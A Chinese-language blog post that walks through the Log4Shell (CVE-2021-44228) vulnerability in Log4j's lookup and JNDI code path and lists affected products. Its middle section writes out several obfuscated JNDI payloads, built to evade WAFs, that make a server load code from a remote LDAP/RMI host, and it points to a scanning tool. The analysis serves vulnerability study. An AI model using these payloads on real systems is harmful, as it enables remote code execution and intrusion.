log4j漏洞
Log4j 漏洞在安全圈引起了轩然大波,可以说是核弹级别的漏洞,无论是渗透、研发、安服、研究,所有人都在学习和复现这个漏洞,由于其覆盖面广,引用次数庞大,直接成为可以与永恒之蓝齐名的顶级可利用漏洞,官方 CVSS 评分更是直接顶到 10.0,国内有厂商将其命名为“毒日志”,国外将其命名为 Log4Shell。
漏洞影响版本
Apache Log4j 2.x<=2.14.1
pom.xml:
1 | <dependency> |
其他什么都不需要
跑一个漏洞test:
1 | import org.apache.logging.log4j.LogManager; |
中间是jndi注入地址
既然是jndi注入,那就只适用jdk<8u191的版本,更高也可以用高版本jndi的方式进行绕过
这种直接注入型的漏洞及其适合自动化,简单收益高。github随便搜一个都能开扫
https://github.com/fullhunt/log4j-scan
而且工具还集成了各种bypass姿势,所以绕过方式也不再介绍
说实话不是很想分析这个洞,因为能打就能打,不能打也就算了,也改不出什么花的payload。所以本次偷个懒,不再分析Apache Struts2、Apache Solr、Apache Druid、Apache Flink、ElasticSearch、VCenter 等等产品中涉及到的log4j漏洞。如果需要查找漏洞范围,可以自行上maven查看依赖链
漏洞分析
字符串处理
通常情况下我们是使用LogManager.getLogger()
方法来获取一个 logger 对象,然后通过调用 logger 对象的 debug/info/error/warn/fatal/trace/log 等方法记录日志等信息
getLogger返回的是个Logger对象,该类继承了抽象类AbstractLogger
所以在debug/info/error/warn/fatal/trace/log这些方法中,都会先使用AbstractLogger#logIfEnabled
的若干重载方法。
这些方法都会根据当前配置文件中的配置信息(参考如下文件)中记录的日志等级,来判断是否需要输出 console 以及日志记录文件,log4j 中的日志记录等级默认如下: ALL < DEBUG < INFO < WARN < ERROR < FATAL < OFF ,默认输出的是 WARN/ERROR/FATAL 等级的日志信息
比如上面测试所用代码logger.error
对应的level就是ERROR
注意!假如你的log level开启的ERROR,则ERROR之前的ALL 、 DEBUG 、 INFO 、 WARN
都不会触发漏洞,而ERROR 、 FATAL
都可以
修改level代码如下:
1 | LoggerContext ctx = (LoggerContext) LogManager.getContext(false); |
而漏洞链就从AbstractLogger#logIfEnabled
开始,LEVEL.ALL模式下debug/info/error/warn/fatal/trace所有方法都会触发漏洞
由于已知漏洞触发点为jndi,也就是InitialContext.lookup,所以断点也一步打到位,得到如下调用栈
前面一大段都是配置的过程,直接看到MessagePatternConverter.format
锁定到format函数的if块,如果config不为空且noLookups为false,则遍历workingBuilder;如果workingBuilder内存在${
,则截取${
及其后面的内容,调用config.getStrSubstitutor().replace()
变量栈里可以调出workingBuilder.value
经过format之后value如下
看一下noLookups在哪赋的值,因为后面修复涉及了这个变量。在MessagePatternConverter构造函数中,对noLookups进行了赋值。注意是||
操作,有一个为true则不能顺利运行
其中Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
来自getBooleanProperty
getBooleanProperty从环境变量environment中查找有无log4j2.formatMsgNoLookups
,如果查找不到则默认为false
这里肯定默认是没有的
另一个参数noLookupsIdx来自loadNoLookups(option),这里可以看出nolookups可以通过自定义option的参数值去控制
默认情况下,进入StrSubstitutor.replace,跟进到StrSubstitutor.substitute
该函数内while遍历整个字符串,匹配前缀和后缀中间的字符串
可以看出前缀是${
,后缀是}
于是分离出了中间的字符串
而且在分离后,还会有一个嵌套的substitute,用来处理套娃的情况
然后是一个if块套的for循环,解析变量表达式中的默认值分隔符(匹配`:-\关键字),并根据分隔符将变量名和默认值分开。
在没有匹配到变量赋值或处理结束后,将会调用 resolveVariable
方法解析满足 Lookup 功能的语法,将返回的结果替换回原字符串后,再次调用 substitute
方法进行递归解析。
字符串替换的过程中可以看到,方法提供了一些特殊的写法,并支持递归解析。而这些特性,将会可以用来进行绕过 WAF。
在这里可以列举一些绕过姿势,让我们看看上面的字符串替换的妙用
比如下面就是一个嵌套解析,${::-j}
解析得到j
1 | ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j} |
同理:
1 | ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a} |
同理:
1 | ${${j:-j}${n:-n}${d:-d}${i:-i}:${r:-r}${m:-m}${i:-i}://127.0.0.1:1099/remoteImpl} |
同理,我们可以构造:\-
形式的绕过:
1 | ${${J:\-J:-j}${N:\-N:-n}${D:\-D:-d}i:${RMI:-rmi}://127.0.0.1:1099/remoteImpl} |
实测可用
lookup
经过字符串处理后,调用了resolveVariable
resolveVariable内调用getVariableResolver获取了解析器,然后调用解析器的lookup
resolver实际上是Interpolator代理类,在构造函数填充了一堆Lookup器
在 2.14.0 版本中,默认是加入 log4j、sys、env、main、marker、java、lower、upper、jndi、jvmrunargs、spring、kubernetes、docker、web、date、ctx,由于部分功能的支持并不在 core 包中,所以如果加载不到对应的处理类,则会添加警告信息并跳过。而这些不同 Lookup 功能的支持,是随着版本更新的,例如在较低版本中,不存在 upper、lower 这两种功能,因此在使用时要注意环境。
在其lookup中,通过 :
作为分隔符来分隔 Lookup 关键字及参数,从strLookupMap
中根据关键字作为 key 匹配到对应的处理类,并调用其 lookup 方法
所以你会在网上看到一个payload:
1 | ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j} |
并非如前面的:-
赋值丢弃lower,而是把lower给解析了。此方法仅适用于2.14.0版本及以上,适用范围极其有限
回到lookup代码,由于我们传的jndi:xxx
,所以取出前缀jndi,并取到JndiLookup查找器
跟进到JndiLookup.lookup,调用了JndiManager.getDefaultManager()获取jndiManager,然后调用其lookup方法。其实从变量信息已经能看出此处的jndiManager是InitialContext了
可以看下getDefaultManager的具体过程,调用getManager,参数里的FACTORY是JndiManagerFactory
然后调用factory.createManager
实例化InitialContext并封装在JndiManager中返回
至此进入InitialContext触发JNDI漏洞
影响范围
copy一份 su18大佬的漏洞影响组件
SpringBoot
默认情况下,Spring Boot 会用 Logback 来记录日志,并用 INFO 级别输出到控制台。也就是说,虽然包含了 Log4j2 的 jar 包,但是如果没有配置调用,是不会受到危害的。
但如果将日志框架修改为 Log4j2,则会受到此漏洞的影响,例如将配置文件改为如下格式:
1 | <dependencies> |
Apache Struts2
Apache Struts2 使用了 Log4j2 作为日志组件,并且默认的日志等级为 Info,在目前官方最新的 showcase 2.5.28 版本中,引用了 2.12.1 的 log4j-core 以及 log4j-api 组件,是包含漏洞的版本,所以 Struts2 也在此次受影响的范围之内。
在且听安全公众号发文中,披露了一处利用 If-Modified-Since
header 解析异常调用 LOG.warn()
方法触发的姿势
Apache Solr
Apache Solr 是 Apache Lucene 项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本(如 Word、PDF)的处理。当然也是此次漏洞的受害者。
官方通告:https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228
Apache Solr 的 POC (source点位Collections)都已经传遍了世界,github一搜就有。
当然入口点也肯定不止这一个,只需要找到点就可以了。
Elasticsearch
根据 Elasticsearch 在官方论坛里发布的公告,Elasticsearch 5.0.0+ 版本包含了带有漏洞版本的 Log4j2 包,但由于其使用了 Java Security Manager,减轻了受到的危害。
phith0n 师傅在知识星球上发布了其研究成果,经其实测发现,写入操作一般会写日志。并给出测试时 dnslog 的截图。
vmware 产品线
根据 VMware 的官方安全通告,包括 vCenter 在内的多个产品均受到了此次安全漏洞的影响,并且提供了受影响产品的环境的版本号。
其他
其他受影响组件还有很多很多
参考: